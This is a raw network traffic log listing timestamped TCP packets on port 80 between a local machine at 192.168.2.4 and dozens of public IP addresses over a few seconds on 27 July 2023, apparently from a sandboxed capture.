Jul 27, 2023 21:52:57.618068933 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618098021 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618098021 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618112087 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618119955 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618140936 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618141890 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618160963 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618169069 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618181944 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618191957 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618212938 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618237972 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618844986 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618866920 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618899107 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618926048 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618937969 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618963003 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618980885 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618992090 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619007111 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619013071 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619034052 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619091988 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619122982 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619133949 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619133949 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619178057 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619179010 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619221926 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619223118 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619240046 CEST	80	49820	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:57.619270086 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619303942 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:57.619759083 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619807005 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619812012 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619837999 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619857073 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619865894 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619882107 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619895935 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619910955 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619920015 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619937897 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619945049 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619962931 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.619965076 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619986057 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.619987011 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620007992 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620014906 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620031118 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620059013 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620656013 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620686054 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620713949 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620716095 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620738983 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620745897 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620762110 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620773077 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620791912 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620794058 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620815039 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620815992 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620836020 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620839119 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620860100 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620860100 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620879889 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.620881081 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620902061 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.620923042 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.621555090 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.621592045 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.621613026 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.621619940 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.621637106 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.621654987 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.629165888 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:57.654217005 CEST	80	49822	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:57.654499054 CEST	80	49822	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:57.654571056 CEST	49822	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:57.693319082 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:57.711446047 CEST	80	49826	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:57.711654902 CEST	49826	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:57.759849072 CEST	80	49814	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:57.759943008 CEST	49814	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:57.771054029 CEST	49826	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:57.771450996 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:57.895987988 CEST	80	49827	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:57.896136045 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:57.909442902 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:57.909796953 CEST	80	49819	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:57.909879923 CEST	49819	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:57.921977997 CEST	80	49826	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:57.922018051 CEST	80	49826	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:57.922060966 CEST	49826	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:57.922097921 CEST	49826	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:57.960345030 CEST	49826	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:57.975281954 CEST	80	49820	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:57.975373983 CEST	49820	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:58.027879953 CEST	49793	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:52:58.032850981 CEST	80	49827	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:58.040438890 CEST	80	49827	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:58.040513992 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:58.052160025 CEST	49828	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:58.082274914 CEST	80	49761	147.154.0.23	192.168.2.4
Jul 27, 2023 21:52:58.082370996 CEST	49761	80	192.168.2.4	147.154.0.23
Jul 27, 2023 21:52:58.097342968 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:58.105592012 CEST	49829	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:58.110579967 CEST	80	49826	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:58.125160933 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:58.139539003 CEST	49831	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:58.153783083 CEST	80	49831	34.117.168.233	192.168.2.4
Jul 27, 2023 21:52:58.153923035 CEST	49831	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:58.154067993 CEST	80	49830	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:58.154184103 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:58.154236078 CEST	49831	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:58.157706022 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:58.168375015 CEST	80	49831	34.117.168.233	192.168.2.4
Jul 27, 2023 21:52:58.181720972 CEST	80	49831	34.117.168.233	192.168.2.4
Jul 27, 2023 21:52:58.181826115 CEST	49831	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:52:58.184218884 CEST	80	49830	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:58.191682100 CEST	80	49830	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:58.191765070 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:58.201730013 CEST	80	49828	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:58.201836109 CEST	49828	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:58.209330082 CEST	80	49829	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:58.211211920 CEST	49829	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:58.228863955 CEST	80	49827	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:58.229088068 CEST	49827	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:58.297496080 CEST	49828	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:58.317549944 CEST	49829	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:58.326816082 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:58.343482971 CEST	49832	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:58.360407114 CEST	80	49830	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:58.360527039 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:58.413160086 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:58.414685965 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:58.421293020 CEST	80	49829	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:58.421348095 CEST	80	49829	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:58.421452999 CEST	49829	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:58.422018051 CEST	49829	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:52:58.446727037 CEST	80	49828	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:58.446768999 CEST	80	49828	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:58.446810961 CEST	49828	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:58.446875095 CEST	49828	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:58.459280014 CEST	49828	80	192.168.2.4	3.140.13.188
Jul 27, 2023 21:52:58.467545986 CEST	80	49832	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:58.467648029 CEST	49832	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:58.525542021 CEST	80	49829	51.79.51.72	192.168.2.4
Jul 27, 2023 21:52:58.608139038 CEST	80	49828	3.140.13.188	192.168.2.4
Jul 27, 2023 21:52:58.680475950 CEST	49832	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:58.719229937 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:58.719352007 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:58.721080065 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:52:58.721096039 CEST	49834	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:58.737317085 CEST	80	49834	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:58.737515926 CEST	49834	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:58.740089893 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:58.740658045 CEST	49834	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:58.756812096 CEST	80	49834	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:58.768513918 CEST	80	49834	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:58.768618107 CEST	49834	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:58.783622026 CEST	80	49782	162.43.120.128	192.168.2.4
Jul 27, 2023 21:52:58.783795118 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:58.804439068 CEST	80	49832	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:58.806152105 CEST	80	49832	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:58.806179047 CEST	80	49832	72.44.93.236	192.168.2.4
Jul 27, 2023 21:52:58.806302071 CEST	49832	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:52:58.827981949 CEST	49836	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:58.860728979 CEST	80	49836	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:58.860841036 CEST	49836	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:58.961277962 CEST	49836	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:58.993683100 CEST	80	49836	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:58.993719101 CEST	80	49836	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:58.994108915 CEST	49836	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:59.030741930 CEST	49837	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:59.031287909 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:59.032361984 CEST	49836	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:59.040432930 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.054426908 CEST	80	49837	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:59.054552078 CEST	49837	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:59.055057049 CEST	49837	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:59.064651966 CEST	80	49836	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:59.064682007 CEST	80	49836	77.68.50.105	192.168.2.4
Jul 27, 2023 21:52:59.065332890 CEST	80	49838	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:59.065392971 CEST	49836	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:52:59.065460920 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:59.078596115 CEST	80	49837	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:59.079499960 CEST	80	49837	217.19.237.54	192.168.2.4
Jul 27, 2023 21:52:59.079663992 CEST	49837	80	192.168.2.4	217.19.237.54
Jul 27, 2023 21:52:59.131489038 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.131529093 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.131548882 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.131571054 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.131686926 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:59.131686926 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:59.257040024 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:59.282881021 CEST	49840	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:59.282939911 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:59.283029079 CEST	49841	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.291512012 CEST	80	49838	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:59.295985937 CEST	80	49838	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:59.296242952 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:59.299148083 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.300143003 CEST	49840	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:59.335424900 CEST	80	49824	135.181.73.98	192.168.2.4
Jul 27, 2023 21:52:59.335541964 CEST	49824	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:52:59.346457005 CEST	49840	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:59.353844881 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:59.361064911 CEST	80	49830	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:59.361183882 CEST	49830	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:59.362569094 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.394140005 CEST	80	49838	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:59.396581888 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:59.396652937 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396689892 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396720886 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396752119 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396796942 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396827936 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396855116 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396883965 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:59.396886110 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:59.397011995 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:59.423008919 CEST	80	49841	52.71.57.184	192.168.2.4
Jul 27, 2023 21:52:59.424427032 CEST	49841	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.426727057 CEST	80	49839	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:59.428632021 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:59.502536058 CEST	49841	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.502806902 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:59.535711050 CEST	49842	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:59.555272102 CEST	80	49842	13.248.169.48	192.168.2.4
Jul 27, 2023 21:52:59.555749893 CEST	49842	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:59.558326960 CEST	49842	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:59.577735901 CEST	80	49842	13.248.169.48	192.168.2.4
Jul 27, 2023 21:52:59.578124046 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.578164101 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.578242064 CEST	49840	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:59.641829014 CEST	80	49841	52.71.57.184	192.168.2.4
Jul 27, 2023 21:52:59.641880989 CEST	80	49841	52.71.57.184	192.168.2.4
Jul 27, 2023 21:52:59.642009020 CEST	49841	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.646275043 CEST	80	49839	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:59.646923065 CEST	80	49839	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:59.647268057 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:59.653094053 CEST	49813	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:52:59.654175997 CEST	49841	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.669469118 CEST	80	49813	104.21.88.198	192.168.2.4
Jul 27, 2023 21:52:59.669744015 CEST	49813	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:52:59.696432114 CEST	49840	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:52:59.707417965 CEST	49813	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:52:59.707418919 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:59.708333969 CEST	49843	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.712626934 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.723773956 CEST	80	49813	104.21.88.198	192.168.2.4
Jul 27, 2023 21:52:59.737812996 CEST	80	49842	13.248.169.48	192.168.2.4
Jul 27, 2023 21:52:59.737888098 CEST	49842	80	192.168.2.4	13.248.169.48
Jul 27, 2023 21:52:59.793596029 CEST	80	49841	52.71.57.184	192.168.2.4
Jul 27, 2023 21:52:59.802581072 CEST	80	49813	104.21.88.198	192.168.2.4
Jul 27, 2023 21:52:59.802609921 CEST	80	49813	104.21.88.198	192.168.2.4
Jul 27, 2023 21:52:59.802628040 CEST	80	49813	104.21.88.198	192.168.2.4
Jul 27, 2023 21:52:59.802758932 CEST	49813	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:52:59.802758932 CEST	49813	80	192.168.2.4	104.21.88.198
Jul 27, 2023 21:52:59.848141909 CEST	80	49843	52.71.57.184	192.168.2.4
Jul 27, 2023 21:52:59.848315001 CEST	49843	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:52:59.850994110 CEST	80	49839	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:59.851667881 CEST	80	49839	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:59.851813078 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:59.857413054 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:59.873853922 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:59.874017000 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:59.922018051 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.922048092 CEST	80	49840	188.114.97.7	192.168.2.4
Jul 27, 2023 21:52:59.922188997 CEST	49840	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:00.062433958 CEST	49843	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:00.083381891 CEST	49844	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:00.094304085 CEST	80	49789	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:00.094408989 CEST	49789	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:00.099623919 CEST	80	49844	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:00.103105068 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.103164911 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.178576946 CEST	49845	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:00.201843977 CEST	80	49843	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:00.201879978 CEST	80	49843	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:00.201987028 CEST	49843	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:00.201987028 CEST	49843	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:00.203404903 CEST	49843	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:00.342683077 CEST	80	49843	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:00.366417885 CEST	80	49845	154.203.14.100	192.168.2.4
Jul 27, 2023 21:53:00.366540909 CEST	49845	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:00.370778084 CEST	49845	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:00.372817039 CEST	80	49791	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:00.372914076 CEST	49791	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:00.395179033 CEST	80	49838	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:00.395333052 CEST	49838	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:00.398583889 CEST	49846	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:00.398647070 CEST	49847	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:00.403556108 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.403613091 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.403664112 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.403713942 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.403744936 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.403764009 CEST	80	49833	39.99.233.155	192.168.2.4
Jul 27, 2023 21:53:00.403836966 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.403836966 CEST	49833	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:00.403959036 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.423291922 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:00.423429012 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.423820972 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.429698944 CEST	80	49846	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:00.429790974 CEST	49846	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:00.430160999 CEST	49846	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:00.443031073 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:00.443492889 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:00.443618059 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.445110083 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.450277090 CEST	49849	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:00.460159063 CEST	80	49846	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:00.461529016 CEST	80	49846	188.166.152.188	192.168.2.4
Jul 27, 2023 21:53:00.461639881 CEST	49846	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:53:00.464888096 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:00.465007067 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:00.466494083 CEST	80	49849	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:00.466597080 CEST	49849	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:00.496643066 CEST	80	49847	192.252.154.18	192.168.2.4
Jul 27, 2023 21:53:00.496818066 CEST	49847	80	192.168.2.4	192.252.154.18
Jul 27, 2023 21:53:00.522017956 CEST	80	49790	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:00.522136927 CEST	49790	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:00.558872938 CEST	80	49845	154.203.14.100	192.168.2.4
